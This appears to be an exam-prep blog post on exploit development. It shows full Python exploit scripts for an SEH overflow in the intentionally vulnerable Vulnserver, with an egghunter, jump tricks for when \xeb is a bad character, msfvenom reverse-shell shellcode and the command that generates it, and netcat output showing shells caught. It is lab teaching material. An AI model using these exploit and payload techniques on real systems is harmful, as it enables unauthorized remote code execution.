CTP/OSCE Prep -- 'GMON' Egghunter With Character Restrictions
Introduction
This series of posts will focus on the concepts I’m learning/practicing in preparation for CTP/OSCE. In this series of posts, I plan on exploring:
- fuzzing,
- vanilla EIP overwrite,
- SEH overwrite, and
- egghunters.
Writing these entries will force me to become intimately familiar with these topics, and hopefully you can get something out of them as well!
In this particular post, we will be revisiting the SEH-based overflow with the GMON
command/parameter in Vulnserver, but this time with some self-imposed character restrictions.
If you have not already done so, please read the first post of this series so that you can setup your environment, setup and use boofuzz
, and become acquainted with some of the stack-based overflow concepts that are still relevant in this post. You can do so here.
This post will assume the reader is already familiar with how to attach processes in Immunity, use boofuzz, search for bad characters, and other knowledge domains covered in the first post of the series.
Background
If you have not done so, it’s probably best that you read our previous egghunter approach to exploiting the ‘GMON’ command in Vulnserver with an SEH-based exploit here.
We’ve successfully performed an SEH-based overflow on the GMON
command in two different ways, one with an egghunter and one without.
In summary, our egghunter exploit code looked like this:
#!/usr/bin/python
import socket
import os
import sys
host = "192.168.1.201"
port = 9999
Seh = '\x2b\x17\x50\x62'
nSeh = '\xeb\x06\x90\x90'
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x45\x47\x47\x48\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
egg = 'EGGHEGGH'
shellcode = ("\xdb\xcc\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x52\xbf\x36\x08\x50"
"\xc1\x31\x7a\x17\x83\xc2\x04\x03\x4c\x1b\xb2\x34\x4c\xf3\xb0"
"\xb7\xac\x04\xd5\x3e\x49\x35\xd5\x25\x1a\x66\xe5\x2e\x4e\x8b"
"\x8e\x63\x7a\x18\xe2\xab\x8d\xa9\x49\x8a\xa0\x2a\xe1\xee\xa3"
"\xa8\xf8\x22\x03\x90\x32\x37\x42\xd5\x2f\xba\x16\x8e\x24\x69"
"\x86\xbb\x71\xb2\x2d\xf7\x94\xb2\xd2\x40\x96\x93\x45\xda\xc1"
"\x33\x64\x0f\x7a\x7a\x7e\x4c\x47\x34\xf5\xa6\x33\xc7\xdf\xf6"
"\xbc\x64\x1e\x37\x4f\x74\x67\xf0\xb0\x03\x91\x02\x4c\x14\x66"
"\x78\x8a\x91\x7c\xda\x59\x01\x58\xda\x8e\xd4\x2b\xd0\x7b\x92"
"\x73\xf5\x7a\x77\x08\x01\xf6\x76\xde\x83\x4c\x5d\xfa\xc8\x17"
"\xfc\x5b\xb5\xf6\x01\xbb\x16\xa6\xa7\xb0\xbb\xb3\xd5\x9b\xd3"
"\x70\xd4\x23\x24\x1f\x6f\x50\x16\x80\xdb\xfe\x1a\x49\xc2\xf9"
"\x5d\x60\xb2\x95\xa3\x8b\xc3\xbc\x67\xdf\x93\xd6\x4e\x60\x78"
"\x26\x6e\xb5\x2f\x76\xc0\x66\x90\x26\xa0\xd6\x78\x2c\x2f\x08"
"\x98\x4f\xe5\x21\x33\xaa\x6e\x8e\x6c\xb5\xa9\x66\x6f\xb5\x34"
"\xcc\xe6\x53\x5c\x22\xaf\xcc\xc9\xdb\xea\x86\x68\x23\x21\xe3"
"\xab\xaf\xc6\x14\x65\x58\xa2\x06\x12\xa8\xf9\x74\xb5\xb7\xd7"
"\x10\x59\x25\xbc\xe0\x14\x56\x6b\xb7\x71\xa8\x62\x5d\x6c\x93"
"\xdc\x43\x6d\x45\x26\xc7\xaa\xb6\xa9\xc6\x3f\x82\x8d\xd8\xf9"
"\x0b\x8a\x8c\x55\x5a\x44\x7a\x10\x34\x26\xd4\xca\xeb\xe0\xb0"
"\x8b\xc7\x32\xc6\x93\x0d\xc5\x26\x25\xf8\x90\x59\x8a\x6c\x15"
"\x22\xf6\x0c\xda\xf9\xb2\x2d\x39\x2b\xcf\xc5\xe4\xbe\x72\x88"
"\x16\x15\xb0\xb5\x94\x9f\x49\x42\x84\xea\x4c\x0e\x02\x07\x3d"
"\x1f\xe7\x27\x92\x20\x22")
buffer = 'A' * (3514 - len(egg + shellcode))
buffer += egg
buffer += shellcode
buffer += nSeh
buffer += Seh
buffer += egghunter
buffer += 'C' * (5012 - len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
s.send("GMON /.../" + buffer)
print s.recv(1024)
s.close()
And performed the following:
- causes an exception by overflowing the application’s buffer;
- the overflow also overwrites the SEH component;
- we place a
POP POP RET
instruction in the ‘Current SE handler’ address; - the
POP POP RET
instruction places code execution at the pointer pointing towards the next SEH record; - this address has been overwritten with instructions to jump forward 6 bytes;
- after jumping forward 6 bytes, the instruction at this location is an egghunter which will find our shellcode that’s been prepended twice with our egg; and finally,
- execute the shellcode.
Self-Imposed Character Restrictions
Luckily for us, our GMON
overflow only restricted us from using \x00
bytes, but our goal here is to learn as many tricks as possible before CTP/OSCE, so we’ll try to make things a little harder. Let’s look at our jumpcode in nSeh
: \xeb\x06\x90\x90
\xeb
is the opcode for a short jump,\x06
is the amount of bytes we want to jump forward,\x90
is just a no-operation which is just filler since we need 4 bytes total.
But what would we do if \xeb
happened to be a bad character? How would we jump to our egghunter?
Conditional Short Jumps
One thing we could try would be to leverage ‘conditional short jumps’ that only occur if a certain criteria is met. There are several flavors of these jumps available to us, such as the following (thanks to unixwiz.net):
Instruction | Description | signed-ness | Flags | short jump opcodes | near jump opcodes |
---|---|---|---|---|---|
JO | Jump if overflow | OF = 1 | 70 | 0F 80 | |
JNO | Jump if not overflow | OF = 0 | 71 | 0F 81 | |
JS | Jump if sign | SF = 1 | 78 | 0F 88 | |
JNS | Jump if not sign | SF = 0 | 79 | 0F 89 | |
JE JZ | Jump if equal Jump if zero | ZF = 1 | 74 | 0F 84 | |
JNE JNZ | Jump if not equal Jump if not zero | ZF = 0 | 75 | 0F 85 | |
JB JNAE JC | Jump if below Jump if not above or equal Jump if carry | unsigned | CF = 1 | 72 | 0F 82 |
JNB JAE JNC | Jump if not below Jump if above or equal Jump if not carry | unsigned | CF = 0 | 73 | 0F 83 |
JBE JNA | Jump if below or equal Jump if not above | unsigned | CF = 1 or ZF = 1 | 76 | 0F 86 |
JA JNBE | Jump if above Jump if not below or equal | unsigned | CF = 0 and ZF = 0 | 77 | 0F 87 |
JL JNGE | Jump if less Jump if not greater or equal | signed | SF <> OF | 7C | 0F 8C |
JGE JNL | Jump if greater or equal Jump if not less | signed | SF = OF | 7D | 0F 8D |
JLE JNG | Jump if less or equal Jump if not greater | signed | ZF = 1 or SF <> OF | 7E | 0F 8E |
JG JNLE | Jump if greater Jump if not less or equal | signed | ZF = 0 and SF = OF | 7F | 0F 8F |
JP JPE | Jump if parity Jump if parity even | PF = 1 | 7A | 0F 8A | |
JNP JPO | Jump if not parity Jump if parity odd | PF = 0 | 7B | 0F 8B | |
JCXZ JECXZ | Jump if %CX register is 0 Jump if %ECX register is 0 | %CX = 0 %ECX = 0 | E3 |
Unixwiz also provides an execellent description of the flags and how they operate:
- CF - carry flag
- Set on high-order bit carry or borrow; cleared otherwise
- PF - parity flag
- Set if low-order eight bits of result contain an even number of “1” bits; cleared otherwise
- ZF - zero flags
- Set if result is zero; cleared otherwise
- SF - sign flag
- Set equal to high-order bit of result (0 if positive 1 if negative)
- OF - overflow flag
- Set if result is too large a positive number or too small a negative number (excluding sign bit) to fit in destination operand; cleared otherwise
Since we dont have much space to work with, I’m not sure if all of these conditions can be knowingly satisfied and activate our jump. I know for sure we can try to affect the zero flag though so let’s test some conditions in Assembly and step through them in GDB to see if we can affect the flags in a small byte space.
Exploring the Zero Flag (ZF)
Let’s start our analysis by putting together some very simple Assembly that will set the Zero Flag. We can do this with a simple PoC:
global_start
section .txt
_start:
xor eax,eax ; just clearing $eax by xoring with itself
inc eax ; incrementing $eax by 1
dec eax ; decrementing $eax by 1
Installing PEDA for GDB
We’ll be using the PEDA extenstion for GDB to analyze this in the debugger. To install just follow these commands:
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
Let’s assemble and link the .nasm file with: nasm -f elf32 file.nasm && ld -m elf_i386 file.o -o file
Now we run: gdb ./file
to attach the executable process to GDB. Inside GDB just use the run
command and our program will run through and segfault and stop. When the program stops, we are greeted with the following output from PEDA:
The EFLAGS
output gives us address of the flags register (0x10246
) and then the status of the flags with the set flags in red. Our ZERO
flag is set, just as we thought it would be. Now let’s see if we can unset it by adding an increment EAX operation to our assembly:
xor eax,eax
inc eax
dec eax
inc eax
When we run this code in GDB, PEDA gives us the following output:
Ok so in this output, we see that the zero flag has become unset. So we know we can affect this flag with simple opcodes, like increment and decrement which are usually just one byte. This is great news. We could potentially get two stabs at either decrementing or incrementing in our byte space because we have 4 bytes to play with: 1 for the short jump, 1 for the jump length, 1 for a increment/decrement, and 1 for an increment/decrement.
Let’s try putting this into action with our egghunter exploit. We will change our nSeh
variable from: nSeh = '\xeb\x06\x90\x90'
to nSeh = '\x40\x40\x75\x04'
. This can be broken down as follows:
\x40
is to increment EAX\x75
is the conditional ‘jump if not zero’ opcode (JNZ
)\x04
is our short-jump length of 4 bytes.
Previously we were jumping 6 bytes as demonstrated in the following diagram:
However, this time there are not two \x90
bytes to jump over so we only need to clear the other SEH component which is 4 bytes long.
But wait! There’s more! Are we sure our reverse shell msfvenom
generated payload would withstand our bad character restriction? It actually would not, there is an \xeb
in our payload. Let’s rerun our payload generation and specify this bad character to form good habits.
astrid:~/ # msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.199 lport=443 EXITFUNC=thread -b "\x00\xeb" -f c [21:41:14]
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1500 bytes
unsigned char buf[] =
"\xda\xc8\xd9\x74\x24\xf4\xb8\x86\xa2\x3b\x8b\x5a\x29\xc9\xb1"
"\x52\x31\x42\x17\x83\xc2\x04\x03\xc4\xb1\xd9\x7e\x34\x5d\x9f"
"\x81\xc4\x9e\xc0\x08\x21\xaf\xc0\x6f\x22\x80\xf0\xe4\x66\x2d"
"\x7a\xa8\x92\xa6\x0e\x65\x95\x0f\xa4\x53\x98\x90\x95\xa0\xbb"
"\x12\xe4\xf4\x1b\x2a\x27\x09\x5a\x6b\x5a\xe0\x0e\x24\x10\x57"
"\xbe\x41\x6c\x64\x35\x19\x60\xec\xaa\xea\x83\xdd\x7d\x60\xda"
"\xfd\x7c\xa5\x56\xb4\x66\xaa\x53\x0e\x1d\x18\x2f\x91\xf7\x50"
"\xd0\x3e\x36\x5d\x23\x3e\x7f\x5a\xdc\x35\x89\x98\x61\x4e\x4e"
"\xe2\xbd\xdb\x54\x44\x35\x7b\xb0\x74\x9a\x1a\x33\x7a\x57\x68"
"\x1b\x9f\x66\xbd\x10\x9b\xe3\x40\xf6\x2d\xb7\x66\xd2\x76\x63"
"\x06\x43\xd3\xc2\x37\x93\xbc\xbb\x9d\xd8\x51\xaf\xaf\x83\x3d"
"\x1c\x82\x3b\xbe\x0a\x95\x48\x8c\x95\x0d\xc6\xbc\x5e\x88\x11"
"\xc2\x74\x6c\x8d\x3d\x77\x8d\x84\xf9\x23\xdd\xbe\x28\x4c\xb6"
"\x3e\xd4\x99\x19\x6e\x7a\x72\xda\xde\x3a\x22\xb2\x34\xb5\x1d"
"\xa2\x37\x1f\x36\x49\xc2\xc8\xf9\x26\xcd\xcf\x92\x34\xcd\xce"
"\xd9\xb0\x2b\xba\x0d\x95\xe4\x53\xb7\xbc\x7e\xc5\x38\x6b\xfb"
"\xc5\xb3\x98\xfc\x88\x33\xd4\xee\x7d\xb4\xa3\x4c\x2b\xcb\x19"
"\xf8\xb7\x5e\xc6\xf8\xbe\x42\x51\xaf\x97\xb5\xa8\x25\x0a\xef"
"\x02\x5b\xd7\x69\x6c\xdf\x0c\x4a\x73\xde\xc1\xf6\x57\xf0\x1f"
"\xf6\xd3\xa4\xcf\xa1\x8d\x12\xb6\x1b\x7c\xcc\x60\xf7\xd6\x98"
"\xf5\x3b\xe9\xde\xf9\x11\x9f\x3e\x4b\xcc\xe6\x41\x64\x98\xee"
"\x3a\x98\x38\x10\x91\x18\x58\xf3\x33\x55\xf1\xaa\xd6\xd4\x9c"
"\x4c\x0d\x1a\x99\xce\xa7\xe3\x5e\xce\xc2\xe6\x1b\x48\x3f\x9b"
"\x34\x3d\x3f\x08\x34\x14";
So even by specifying an additional bad character, our payload remained the same size at 351 bytes. Let’s now submit our final exploit code:
#!/usr/bin/python
import socket
import os
import sys
host = "192.168.1.201"
port = 9999
Seh = '\x2b\x17\x50\x62'
nSeh = '\x40\x40\x75\x04'
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x45\x47\x47\x48\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
egg = 'EGGHEGGH'
shellcode = ("\xda\xc8\xd9\x74\x24\xf4\xb8\x86\xa2\x3b\x8b\x5a\x29\xc9\xb1"
"\x52\x31\x42\x17\x83\xc2\x04\x03\xc4\xb1\xd9\x7e\x34\x5d\x9f"
"\x81\xc4\x9e\xc0\x08\x21\xaf\xc0\x6f\x22\x80\xf0\xe4\x66\x2d"
"\x7a\xa8\x92\xa6\x0e\x65\x95\x0f\xa4\x53\x98\x90\x95\xa0\xbb"
"\x12\xe4\xf4\x1b\x2a\x27\x09\x5a\x6b\x5a\xe0\x0e\x24\x10\x57"
"\xbe\x41\x6c\x64\x35\x19\x60\xec\xaa\xea\x83\xdd\x7d\x60\xda"
"\xfd\x7c\xa5\x56\xb4\x66\xaa\x53\x0e\x1d\x18\x2f\x91\xf7\x50"
"\xd0\x3e\x36\x5d\x23\x3e\x7f\x5a\xdc\x35\x89\x98\x61\x4e\x4e"
"\xe2\xbd\xdb\x54\x44\x35\x7b\xb0\x74\x9a\x1a\x33\x7a\x57\x68"
"\x1b\x9f\x66\xbd\x10\x9b\xe3\x40\xf6\x2d\xb7\x66\xd2\x76\x63"
"\x06\x43\xd3\xc2\x37\x93\xbc\xbb\x9d\xd8\x51\xaf\xaf\x83\x3d"
"\x1c\x82\x3b\xbe\x0a\x95\x48\x8c\x95\x0d\xc6\xbc\x5e\x88\x11"
"\xc2\x74\x6c\x8d\x3d\x77\x8d\x84\xf9\x23\xdd\xbe\x28\x4c\xb6"
"\x3e\xd4\x99\x19\x6e\x7a\x72\xda\xde\x3a\x22\xb2\x34\xb5\x1d"
"\xa2\x37\x1f\x36\x49\xc2\xc8\xf9\x26\xcd\xcf\x92\x34\xcd\xce"
"\xd9\xb0\x2b\xba\x0d\x95\xe4\x53\xb7\xbc\x7e\xc5\x38\x6b\xfb"
"\xc5\xb3\x98\xfc\x88\x33\xd4\xee\x7d\xb4\xa3\x4c\x2b\xcb\x19"
"\xf8\xb7\x5e\xc6\xf8\xbe\x42\x51\xaf\x97\xb5\xa8\x25\x0a\xef"
"\x02\x5b\xd7\x69\x6c\xdf\x0c\x4a\x73\xde\xc1\xf6\x57\xf0\x1f"
"\xf6\xd3\xa4\xcf\xa1\x8d\x12\xb6\x1b\x7c\xcc\x60\xf7\xd6\x98"
"\xf5\x3b\xe9\xde\xf9\x11\x9f\x3e\x4b\xcc\xe6\x41\x64\x98\xee"
"\x3a\x98\x38\x10\x91\x18\x58\xf3\x33\x55\xf1\xaa\xd6\xd4\x9c"
"\x4c\x0d\x1a\x99\xce\xa7\xe3\x5e\xce\xc2\xe6\x1b\x48\x3f\x9b"
"\x34\x3d\x3f\x08\x34\x14")
buffer = 'A' * (3514 - len(egg + shellcode))
buffer += egg
buffer += shellcode
buffer += nSeh
buffer += Seh
buffer += egghunter
buffer += 'C' * (5012 - len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
s.send("GMON /.../" + buffer)
print s.recv(1024)
s.close()
When we run this code against Vulnserver unattached to Immunity, we net our reverse shell, very cool.
astrid:~/ # nc -lvp 443
listening on [any] 443 ...
192.168.1.201: inverse host lookup failed: Unknown host
connect to [192.168.1.199] from (UNKNOWN) [192.168.1.201] 49171
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\IEUser\Desktop>
Net Jumping Thanks to OJ
As OJ REEVES (aka @TheColonial) points out in his fantastic blogpost on Jumping With Badcharacters, this type of approach where we attempt to satisfy a condition and then use the requisite conditional jump can be complicated. Sometimes we won’t have enough space to operate, sometimes we will have to make assumptions about other flags that may or may not be true. So OJ describes a different approach which will meet criteria no matter what.
OJ presents this as if it’s boring and unclever, but I was quite tickled at how cool it is. Basically if a condition can be either True or False, we can just account for both contingencies by placing opcodes for ‘Jump if True’ and ‘Jump if False’ side by side. If the condition is False, and the instruction pointer comes to this ‘Jump if True’ opcode, the opcode will simply be passed over without executing the jump. The instruction pointer will then grace our ‘Jump if False’ opcode and the condition will be met and the jump will execute!
OJ gives several examples of conditional short-jump codes that can be used in what he calls a ‘Net Jump’. Let’s try out the Zero Flag family of conditional jumps and see the technique in action.
Since we don’t really know what state the flags will be in when we reach our jumpcode, we can account for the Zero flag being set and unset by juxtaposing the opcodes \x74
(JZ
) and \x75
(JNZ
) respectively. The first jumpcode will have a distance of 6 bytes because if its condition is met, it will have to clear our second contigency (2 bytes) and the other SEH component (4 bytes). If the second jumpcode condition is met, it will only have to travel over the other SEH component (4 bytes) to reach our egghunter.
So let’s put this into our exploit by once more modifying our nSeh
variable to '\x74\x06\x75\x04'
.
Running our exploit code against Vulnserver again nets us our reverse shell!
astrid:~/ # nc -lvp 443
listening on [any] 443 ...
192.168.1.201: inverse host lookup failed: Unknown host
connect to [192.168.1.199] from (UNKNOWN) [192.168.1.201] 49172
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\IEUser\Desktop>
Conclusion
There are definitely other conditional approaches and ‘Net Jump’ approaches we can take and will be taking in our upcoming exploits against Vulnserver. But I thought this would be a good starting point for us, things won’t always be as simple as our only bad character being \x00
, and now we have built up some resilience to that type of situation by expanding our toolkit.
Big Thanks
To everyone who has published free intro-level 32 bit exploit dev material, I’m super appreciative. Truly mean it.